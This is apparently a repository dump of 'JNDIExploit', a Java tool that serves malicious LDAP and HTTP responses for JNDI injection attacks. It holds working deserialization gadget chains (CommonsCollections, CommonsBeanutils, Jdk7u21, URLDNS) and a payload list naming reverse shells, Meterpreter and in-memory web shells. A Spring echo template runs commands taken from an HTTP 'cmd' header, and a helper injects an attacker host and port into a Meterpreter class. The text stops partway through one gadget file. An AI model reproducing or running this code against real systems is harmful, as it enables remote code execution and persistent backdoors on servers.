├── JNDIExploit.iml ├── src ├── test │ └── java │ │ └── test.groovy └── main │ └── java │ ├── com │ └── feihong │ │ └── ldap │ │ ├── enumtypes │ │ ├── WebsphereActionType.java │ │ ├── GadgetType.java │ │ └── PayloadType.java │ │ ├── template │ │ ├── Template.java │ │ ├── isOK.java │ │ ├── MyClassLoader.java │ │ ├── isSuccess.java │ │ ├── SpringEchoTemplate.java │ │ ├── WeblogicEchoTemplate.java │ │ ├── Meterpreter.java │ │ ├── DynamicInterceptorTemplate.java │ │ ├── DynamicFilterTemplate.java │ │ ├── TomcatEchoTemplate.java │ │ ├── CommandTemplate.java │ │ ├── DnslogTemplate.java │ │ ├── ReverseShellTemplate.java │ │ ├── JettyBehinderFilter.java │ │ ├── TomcatMemshellall2.java │ │ ├── BehinderFilter.java │ │ └── SpringTemp.java │ │ ├── exceptions │ │ ├── UnSupportedGadgetTypeException.java │ │ ├── IncorrectParamsException.java │ │ ├── UnSupportedActionTypeException.java │ │ └── UnSupportedPayloadTypeException.java │ │ ├── Starter.java │ │ ├── controllers │ │ ├── LdapMapping.java │ │ ├── PropertiesRefAddr.java │ │ ├── LdapController.java │ │ ├── GroovyBypassController.java │ │ ├── SerializedDataController.java │ │ ├── BasicController.java │ │ └── WebsphereBypassController.java │ │ ├── gadgets │ │ ├── utils │ │ │ ├── Util.java │ │ │ ├── ClassFiles.java │ │ │ ├── Reflections.java │ │ │ └── Gadgets.java │ │ ├── Custom.java │ │ ├── Jdk7u21.java │ │ ├── URLDNS.java │ │ ├── CommonsCollectionsK2.java │ │ ├── CommonsCollectionsK1.java │ │ ├── CommonsBeanutils1.java │ │ ├── CommonsBeanutils2.java │ │ ├── C3P0.java │ │ ├── CVE_2020_2555.java │ │ ├── CVE_2020_2883.java │ │ └── Jre8u20.java │ │ ├── utils │ │ ├── MyURLClassLoader.java │ │ ├── ClassByteChange.java │ │ ├── Cache.java │ │ ├── Util.java │ │ └── Config.java │ │ ├── LdapServer.java │ │ └── LDAPRefServer.java │ └── Meterpreter.java ├── target ├── maven-archiver │ └── pom.properties └── maven-status │ └── maven-compiler-plugin │ └── compile │ └── default-compile │ ├── createdFiles.lst │ └── inputFiles.lst ├── .gitignore └── .github └── workflows └── maven.yml /JNDIExploit.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /src/test/java/test.groovy: -------------------------------------------------------------------------------- 1 | class test { 2 | String[] s = new String[[]] 3 | static void main(String[] args) { 4 | 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /target/maven-archiver/pom.properties: -------------------------------------------------------------------------------- 1 | #Generated by Maven 2 | #Sat Jan 14 14:25:03 CST 2023 3 | version=1.5-SNAPSHOT 4 | groupId=org.example 5 | artifactId=JNDIExploit 6 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.enumtypes; 2 | 3 | public enum WebsphereActionType { 4 | list, 5 | upload, 6 | rce; 7 | } 8 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/Template.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | public interface Template { 4 | void generate(); 5 | byte[] getBytes(); 6 | void cache(); 7 | String getClassName(); 8 | } 9 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.exceptions; 2 | 3 | public class UnSupportedGadgetTypeException extends RuntimeException { 4 | public UnSupportedGadgetTypeException(){ super();} 5 | public UnSupportedGadgetTypeException(String message){ 6 | super(message); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.exceptions; 2 | 3 | public class IncorrectParamsException extends RuntimeException { 4 | public IncorrectParamsException(){ 5 | super(); 6 | } 7 | public IncorrectParamsException(String message){ 8 | super(message); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/isOK.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | /** 4 | * @ClassName: isOK 5 | * @Description: TODO 6 | * @Author: Summer 7 | * @Date: 2021/8/1 16:40 8 | * @Version: v1.0.0 9 | * @Description: 10 | **/ 11 | public class isOK { 12 | public isOK(){ 13 | System.out.println("sucess"); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/Starter.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap; 2 | 3 | import com.feihong.ldap.utils.Config; 4 | import java.io.IOException; 5 | 6 | public class Starter { 7 | public static void main(String[] args) throws IOException { 8 | Config.applyCmdArgs(args); 9 | LdapServer.start(); 10 | HTTPServer.start(); 11 | 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/enumtypes/GadgetType.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.enumtypes; 2 | 3 | public enum GadgetType { 4 | urldns, 5 | commonsbeanutils1, 6 | commonsbeanutils2, 7 | commonscollectionsk1, 8 | commonscollectionsk2, 9 | jdk7u21, 10 | jre8u20, 11 | c3p0, 12 | cve_2020_2555, 13 | cve_2020_2883, 14 | custom; 15 | } 16 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.exceptions; 2 | 3 | public class UnSupportedActionTypeException extends RuntimeException{ 4 | public UnSupportedActionTypeException(){ 5 | super(); 6 | } 7 | public UnSupportedActionTypeException(String message){ 8 | super(message); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.exceptions; 2 | 3 | public class UnSupportedPayloadTypeException extends RuntimeException { 4 | public UnSupportedPayloadTypeException(){ 5 | super(); 6 | } 7 | public UnSupportedPayloadTypeException(String message){ 8 | super(message); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled class file 2 | *.class 3 | 4 | # Log file 5 | *.log 6 | 7 | # BlueJ files 8 | *.ctxt 9 | 10 | # Mobile Tools for Java (J2ME) 11 | .mtj.tmp/ 12 | 13 | # Package Files # 14 | *.jar 15 | *.war 16 | *.nar 17 | *.ear 18 | *.zip 19 | *.tar.gz 20 | *.rar 21 | 22 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 23 | hs_err_pid* 24 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/MyClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | public class MyClassLoader extends ClassLoader { 4 | MyClassLoader(ClassLoader c){super(c);} 5 | 6 | 7 | public static Class defineClass(byte[] bytes, ClassLoader classLoader){ 8 | return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/LdapMapping.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | @Retention(RetentionPolicy.RUNTIME) 9 | @Target(ElementType.TYPE) 10 | public @interface LdapMapping { 11 | String[] uri(); 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/isSuccess.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | public class isSuccess { 4 | public String test = "impl run success"; 5 | static { 6 | System.out.println("static run success"); 7 | isSuccess x=new isSuccess(); 8 | System.out.println(x.getTest()); 9 | } 10 | 11 | public String getTest() { 12 | return test; 13 | } 14 | 15 | public String toString() { 16 | System.out.println("toString run success"); 17 | return ""; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java: -------------------------------------------------------------------------------- 1 | package com.ibm.websphere.client.factory.jdbc; 2 | 3 | import javax.naming.RefAddr; 4 | import java.util.Properties; 5 | 6 | //this is a stub class required by WebSphere2 ldap handler 7 | public class PropertiesRefAddr extends RefAddr { 8 | private static final long serialVersionUID = 288055886942232156L; 9 | private Properties props; 10 | 11 | public PropertiesRefAddr(String addrType, Properties props) { 12 | super(addrType); 13 | this.props = props; 14 | } 15 | 16 | public Object getContent() { 17 | return this.props; 18 | } 19 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/enumtypes/PayloadType.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.enumtypes; 2 | 3 | public enum PayloadType { 4 | command, 5 | dnslog, 6 | reverseshell, 7 | tomcatecho, 8 | springecho, 9 | weblogicecho, 10 | tomcatmemshell1, 11 | tomcatmemshell2, 12 | tomcatmemshell3, 13 | weblogicmemshell1, 14 | weblogicmemshell2, 15 | jettymemshell, 16 | jbossmemshell, 17 | webspherememshell, 18 | springmemshell, 19 | issuccess, 20 | jettymemshell2, 21 | godzillamemshell, 22 | tomcatmemshellall1, 23 | tomcatmemshellall2, 24 | springmemshellall1, 25 | meterpreter; 26 | 27 | } 28 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/LdapController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.exceptions.IncorrectParamsException; 4 | import com.feihong.ldap.exceptions.UnSupportedActionTypeException; 5 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException; 6 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | 9 | public interface LdapController { 10 | void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception; 11 | void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException; 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/utils/Util.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets.utils; 2 | 3 | public class Util { 4 | public static byte[] deleteAt(byte[] bs, int index) { 5 | int length = bs.length - 1; 6 | byte[] ret = new byte[length]; 7 | 8 | if(index == bs.length - 1) { 9 | System.arraycopy(bs, 0, ret, 0, length); 10 | } else if(index < bs.length - 1) { 11 | for(int i = index; i < length; i++) { 12 | bs[i] = bs[i + 1]; 13 | } 14 | 15 | System.arraycopy(bs, 0, ret, 0, length); 16 | } 17 | 18 | return ret; 19 | } 20 | 21 | public static byte[] addAtIndex(byte[] bs, int index, byte b) { 22 | int length = bs.length + 1; 23 | byte[] ret = new byte[length]; 24 | 25 | System.arraycopy(bs, 0, ret, 0, index); 26 | ret[index] = b; 27 | System.arraycopy(bs, index, ret, index + 1, length - index - 1); 28 | 29 | return ret; 30 | } 31 | 32 | public static byte[] addAtLast(byte[] bs, byte b) { 33 | int length = bs.length + 1; 34 | byte[] ret = new byte[length]; 35 | 36 | System.arraycopy(bs, 0, ret, 0, length-1); 37 | ret[length - 1] = b; 38 | 39 | return ret; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /.github/workflows/maven.yml: -------------------------------------------------------------------------------- 1 | # This workflow will build a Java project with Maven, and cache/restore any dependencies to improve the workflow execution time 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-java-with-maven 3 | 4 | # This workflow uses actions that are not certified by GitHub. 5 | # They are provided by a third-party and are governed by 6 | # separate terms of service, privacy policy, and support 7 | # documentation. 8 | 9 | name: Java CI with Maven 10 | 11 | on: 12 | push: 13 | branches: [ "main" ] 14 | pull_request: 15 | branches: [ "main" ] 16 | 17 | jobs: 18 | build: 19 | 20 | runs-on: ubuntu-latest 21 | 22 | steps: 23 | - uses: actions/checkout@v4 24 | - name: Set up JDK 17 25 | uses: actions/setup-java@v4 26 | with: 27 | java-version: '17' 28 | distribution: 'temurin' 29 | cache: maven 30 | - name: Build with Maven 31 | run: mvn -B package --file pom.xml 32 | 33 | # Optional: Uploads the full dependency graph to GitHub to improve the quality of Dependabot alerts this repository can receive 34 | - name: Update dependency graph 35 | uses: advanced-security/maven-dependency-submission-action@571e99aab1055c2e71a1e2309b9691de18d6b7d6 36 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/utils/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets.utils; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | public class ClassFiles { 8 | public static String classAsFile(final Class clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(final Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str += ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(final Class clazz) { 26 | try { 27 | final byte[] buffer = new byte[1024]; 28 | final String file = classAsFile(clazz); 29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Custom.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | 4 | import com.feihong.ldap.enumtypes.PayloadType; 5 | 6 | import java.io.*; 7 | 8 | 9 | public class Custom { 10 | public static void main(String[] args) throws Exception { 11 | 12 | File file = new File("yso.ser"); 13 | if (file.exists() && file.isFile()){ 14 | byte[] fileBytes; 15 | 16 | try (FileInputStream inputStream = new FileInputStream(file)) { 17 | fileBytes = new byte[inputStream.available()]; 18 | inputStream.read(fileBytes); 19 | 20 | FileOutputStream fous = new FileOutputStream("4444.ser"); 21 | fous.write(fileBytes); 22 | fous.close(); 23 | 24 | } catch (IOException e) { 25 | e.printStackTrace(); 26 | return; 27 | } 28 | 29 | }else { 30 | System.out.println("路径错误读取不到文件 oxo"); 31 | } 32 | 33 | 34 | } 35 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 36 | 37 | File file = new File(param[0]); 38 | if (file.exists() && file.isFile()){ 39 | byte[] fileBytes; 40 | 41 | try (FileInputStream inputStream = new FileInputStream(file)) { 42 | fileBytes = new byte[inputStream.available()]; 43 | inputStream.read(fileBytes); 44 | 45 | return fileBytes; 46 | 47 | } catch (IOException e) { 48 | e.printStackTrace(); 49 | System.out.println("[x] 读取错误 oxo"); 50 | 51 | } 52 | 53 | }else { 54 | System.out.println("[x] 路径错误读取不到文件 oxo"); 55 | } 56 | return new byte[0]; 57 | } 58 | 59 | 60 | } 61 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Jdk7u21.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.feihong.ldap.utils.Util; 7 | 8 | import javax.xml.transform.Templates; 9 | import java.io.ByteArrayOutputStream; 10 | import java.io.ObjectOutputStream; 11 | import java.lang.reflect.InvocationHandler; 12 | import java.util.HashMap; 13 | import java.util.LinkedHashSet; 14 | 15 | public class Jdk7u21 { 16 | 17 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 18 | final Object templates = Gadgets.createTemplatesImpl(type, param); 19 | 20 | String zeroHashCodeStr = "f5a5a608"; 21 | 22 | HashMap map = new HashMap(); 23 | map.put(zeroHashCodeStr, "foo"); 24 | 25 | InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 26 | Reflections.setFieldValue(tempHandler, "type", Templates.class); 27 | Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); 28 | 29 | LinkedHashSet set = new LinkedHashSet(); // maintain order 30 | set.add(templates); 31 | set.add(proxy); 32 | 33 | Reflections.setFieldValue(templates, "_auxClasses", null); 34 | Reflections.setFieldValue(templates, "_class", null); 35 | 36 | map.put(zeroHashCodeStr, templates); // swap in real object 37 | 38 | //序列化 39 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 40 | ObjectOutputStream oos = new ObjectOutputStream(baous); 41 | oos.writeObject(set); 42 | byte[] bytes = baous.toByteArray(); 43 | oos.close(); 44 | 45 | return bytes; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/MyURLClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import java.io.File; 4 | import java.lang.reflect.InvocationTargetException; 5 | import java.lang.reflect.Method; 6 | import java.net.MalformedURLException; 7 | import java.net.URL; 8 | import java.net.URLClassLoader; 9 | 10 | public class MyURLClassLoader { 11 | private URLClassLoader classLoader; 12 | 13 | public MyURLClassLoader(String jarName){ 14 | try{ 15 | classLoader = getURLClassLoader(jarName); 16 | }catch(MalformedURLException e){ 17 | e.printStackTrace(); 18 | } 19 | } 20 | 21 | public Class loadClass(String className) { 22 | try{ 23 | //由于我项目中已经有了 commons-beanutils:1.9.4,如果使用 loadClass 方法,加载的是项目 ClassPath 下的 commons-beanutils 24 | //为了避免这种情况,所以调用了 findClass 方法 25 | Method method = URLClassLoader.class.getDeclaredMethod("findClass", new Class[]{String.class}); 26 | method.setAccessible(true); 27 | Class clazz = (Class) method.invoke(this.classLoader, new Object[]{className}); 28 | return clazz; 29 | } catch (NoSuchMethodException e) { 30 | e.printStackTrace(); 31 | } catch (IllegalAccessException e) { 32 | e.printStackTrace(); 33 | } catch (InvocationTargetException e) { 34 | e.printStackTrace(); 35 | } 36 | 37 | return null; 38 | } 39 | 40 | 41 | private URLClassLoader getURLClassLoader(String jarName) throws MalformedURLException { 42 | String path = System.getProperty("user.dir") + File.separator + "lib" + File.separator + jarName; 43 | File file = new File(path); 44 | URL url = file.toURI().toURL(); 45 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); 46 | return urlClassLoader; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/URLDNS.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.gadgets.utils.Reflections; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectOutputStream; 7 | import java.net.InetAddress; 8 | import java.net.URL; 9 | import java.net.URLConnection; 10 | import java.net.URLStreamHandler; 11 | import java.util.HashMap; 12 | 13 | public class URLDNS { 14 | public static byte[] getBytes(final String url) throws Exception { 15 | 16 | //Avoid DNS resolution during payload creation 17 | //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload. 18 | URLStreamHandler handler = new SilentURLStreamHandler(); 19 | 20 | HashMap ht = new HashMap(); // HashMap that will contain the URL 21 | URL u = new URL(null, url, handler); // URL to use as the Key 22 | ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. 23 | 24 | Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. 25 | 26 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 27 | ObjectOutputStream oos = new ObjectOutputStream(baous); 28 | oos.writeObject(ht); 29 | byte[] bytes = baous.toByteArray(); 30 | oos.close(); 31 | 32 | return bytes; 33 | } 34 | 35 | 36 | static class SilentURLStreamHandler extends URLStreamHandler { 37 | 38 | protected URLConnection openConnection(URL u) throws IOException { 39 | return null; 40 | } 41 | 42 | protected synchronized InetAddress getHostAddress(URL u) { 43 | return null; 44 | } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/SpringEchoTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import org.springframework.web.context.request.RequestAttributes; 9 | import org.springframework.web.context.request.RequestContextHolder; 10 | import org.springframework.web.context.request.ServletRequestAttributes; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | 14 | public class SpringEchoTemplate extends AbstractTranslet { 15 | 16 | public SpringEchoTemplate(){ 17 | try{ 18 | RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes(); 19 | HttpServletRequest httprequest = ((ServletRequestAttributes) requestAttributes).getRequest(); 20 | HttpServletResponse httpresponse = ((ServletRequestAttributes) requestAttributes).getResponse(); 21 | 22 | String cmd = httprequest.getHeader("cmd"); 23 | if(cmd != null && !cmd.isEmpty()){ 24 | String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); 25 | httpresponse.getWriter().println(res); 26 | } 27 | }catch(Exception e){ 28 | e.printStackTrace(); 29 | } 30 | } 31 | 32 | @Override 33 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 34 | 35 | } 36 | 37 | @Override 38 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 39 | 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK2.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import org.apache.commons.collections4.functors.InvokerTransformer; 7 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections4.map.LazyMap; 9 | import java.io.ByteArrayOutputStream; 10 | import java.io.FileOutputStream; 11 | import java.io.ObjectOutputStream; 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | public class CommonsCollectionsK2 { 16 | public static void main(String[] args) throws Exception { 17 | byte[] bytes = getBytes(PayloadType.command, "calc"); 18 | FileOutputStream fous = new FileOutputStream("4444.ser"); 19 | fous.write(bytes); 20 | fous.close(); 21 | } 22 | 23 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 24 | Object tpl = Gadgets.createTemplatesImpl(type, param); 25 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 26 | 27 | HashMap innerMap = new HashMap(); 28 | Map m = LazyMap.lazyMap(innerMap, transformer); 29 | 30 | Map outerMap = new HashMap(); 31 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 32 | outerMap.put(tied, "t"); 33 | // clear the inner map data, this is important 34 | innerMap.clear(); 35 | 36 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 37 | 38 | //序列化 39 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 40 | ObjectOutputStream oos = new ObjectOutputStream(baous); 41 | oos.writeObject(outerMap); 42 | byte[] bytes = baous.toByteArray(); 43 | oos.close(); 44 | 45 | return bytes; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK1.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | import java.io.ByteArrayOutputStream; 10 | import java.io.FileOutputStream; 11 | import java.io.ObjectOutputStream; 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | public class CommonsCollectionsK1 { 16 | public static void main(String[] args) throws Exception { 17 | byte[] bytes = getBytes(PayloadType.command, "calc"); 18 | FileOutputStream fous = new FileOutputStream("out2222.ser"); 19 | fous.write(bytes); 20 | fous.close(); 21 | } 22 | 23 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 24 | Object tpl = Gadgets.createTemplatesImpl(type, param); 25 | 26 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 27 | HashMap innerMap = new HashMap(); 28 | Map m = LazyMap.decorate(innerMap, transformer); 29 | 30 | Map outerMap = new HashMap(); 31 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 32 | outerMap.put(tied, "t"); 33 | // clear the inner map data, this is important 34 | innerMap.clear(); 35 | 36 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 37 | 38 | //序列化 39 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 40 | ObjectOutputStream oos = new ObjectOutputStream(baous); 41 | oos.writeObject(outerMap); 42 | byte[] bytes = baous.toByteArray(); 43 | oos.close(); 44 | 45 | return bytes; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/ClassByteChange.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import com.feihong.ldap.template.Meterpreter; 4 | import javassist.*; 5 | 6 | import java.io.*; 7 | 8 | public class ClassByteChange { 9 | 10 | public static void main(String[] args) { 11 | try { 12 | update(Meterpreter.class); 13 | } catch (NotFoundException e) { 14 | e.printStackTrace(); 15 | } catch (CannotCompileException e) { 16 | e.printStackTrace(); 17 | } catch (IOException e) { 18 | e.printStackTrace(); 19 | } 20 | } 21 | //动态获取.class 22 | public static byte[] update(Class clazz) throws NotFoundException, CannotCompileException, IOException { 23 | 24 | File dir=new File(""); 25 | String ap=dir.getAbsolutePath(); 26 | ap=ap+File.separatorChar+"data"; 27 | ClassPool cPool = new ClassPool(true); 28 | 29 | //设置class文件的位置 30 | cPool.insertClassPath(ap); 31 | 32 | cPool.importPackage("java.io.DataInputStream"); 33 | cPool.importPackage("java.io.InputStream"); 34 | cPool.importPackage("java.net.Socket;"); 35 | cPool.importPackage("java.io.OutputStream"); 36 | cPool.importPackage("java.util.HashMap"); 37 | //获取该class对象 38 | CtClass cClass = cPool.get("Meterpreter"); 39 | //获取到对应的方法 40 | CtMethod cMethodHost = cClass.getDeclaredMethod("initLhost"); 41 | 42 | cMethodHost.setBody("{ this.host = \""+Config.rhost+"\";\n" + 43 | " this.port = \""+Config.rport+"\";}"); 44 | 45 | //替换原有的文件 46 | cClass.writeFile(ap); 47 | InputStream in= new FileInputStream(ap+File.separatorChar+"Meterpreter.class"); 48 | byte[] bytes = new byte[1024]; 49 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 50 | int len = 0; 51 | while((len = in.read(bytes)) != -1){ 52 | baous.write(bytes, 0 , len); 53 | } 54 | 55 | in.close(); 56 | baous.close(); 57 | 58 | return baous.toByteArray(); 59 | 60 | 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.feihong.ldap.utils.MyURLClassLoader; 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.FileOutputStream; 9 | import java.io.ObjectOutputStream; 10 | import java.math.BigInteger; 11 | import java.util.Comparator; 12 | import java.util.PriorityQueue; 13 | 14 | public class CommonsBeanutils1 { 15 | public static void main(String[] args) throws Exception { 16 | byte[] bytes = getBytes(PayloadType.command, "calc"); 17 | FileOutputStream fous = new FileOutputStream("333.ser"); 18 | fous.write(bytes); 19 | fous.close(); 20 | } 21 | 22 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 23 | final Object templates = Gadgets.createTemplatesImpl(type, param); 24 | // mock method name until armed 25 | MyURLClassLoader classLoader = new MyURLClassLoader("commons-beanutils-1.9.2.jar"); 26 | Class clazz = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator"); 27 | Object comparator = clazz.getDeclaredConstructor(new Class[]{String.class}).newInstance(new Object[]{"lowestSetBit"}); 28 | 29 | 30 | // create queue with numbers and basic comparator 31 | final PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator); 32 | // stub data for replacement later 33 | queue.add(new BigInteger("1")); 34 | queue.add(new BigInteger("1")); 35 | 36 | // switch method called by comparator 37 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 38 | 39 | // switch contents of queue 40 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 41 | queueArray[0] = templates; 42 | queueArray[1] = templates; 43 | 44 | 45 | //序列化 46 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 47 | ObjectOutputStream oos = new ObjectOutputStream(baous); 48 | oos.writeObject(queue); 